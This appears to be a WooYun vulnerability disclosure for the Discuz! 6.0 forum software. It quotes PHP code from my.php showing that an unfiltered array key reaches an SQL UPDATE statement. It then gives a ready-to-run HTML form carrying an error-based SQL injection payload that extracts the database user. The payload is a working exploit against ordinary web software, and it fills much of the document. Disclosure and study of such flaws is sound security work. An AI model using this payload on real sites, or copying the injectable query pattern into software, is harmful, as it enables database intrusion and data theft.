WooYun.org

my.php (600) :
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} elseif($item == 'buddylist') {
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        if(!submitcheck('buddysubmit', 1)) {
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                $buddylist = array();
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                $query = $db->query("SELECT b.*, m.username FROM {$tablepre}buddys b, {$tablepre}members m
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                        WHERE b.uid='$discuz_uid' AND m.uid=b.buddyid ORDER BY dateline DESC");
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                while($buddy = $db->fetch_array($query)) {
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                        $buddy['dateline'] = gmdate("$dateformat $timeformat", $buddy['dateline'] + $timeoffset * 3600);
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                        $buddylist[] = $buddy;
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                }
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        } else {
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                $buddyarray = array();
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                $query = $db->query("SELECT * FROM {$tablepre}buddys WHERE uid='$discuz_uid'");
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                while($buddy = $db->fetch_array($query)) {
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                        $buddyarray[$buddy['buddyid']] = $buddy;
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                }
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                if(!empty($delete) && is_array($delete)) {
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                        $db->query("DELETE FROM {$tablepre}buddys WHERE uid='$discuz_uid' AND buddyid IN ('".implode('\',\'', $delete)."')");
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                }
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                if(is_array($descriptionnew)) {
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                        foreach($descriptionnew as $buddyid => $desc) { //无过滤
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                                if(($desc = cutstr(dhtmlspecialchars($desc), 255)) != addslashes($buddyarray[$buddyid]['description'])) {
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                                        $db->query("UPDATE {$tablepre}buddys SET description='$desc' WHERE uid='$discuz_uid' AND buddyid='$buddyid'"); //数组key值$buddyid直接带入
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                                }
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                        }
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                }

<form method='post' action='http://dz6.0/my.php?item=buddylist'>
<input type='hidden' value="1111" name="descriptionnew[1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e,0x5430304C5320474F21,0x7e)  limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1#]" /><br />
<input type='submit' value='buddysubmit' name='buddysubmit' /><br />
</form>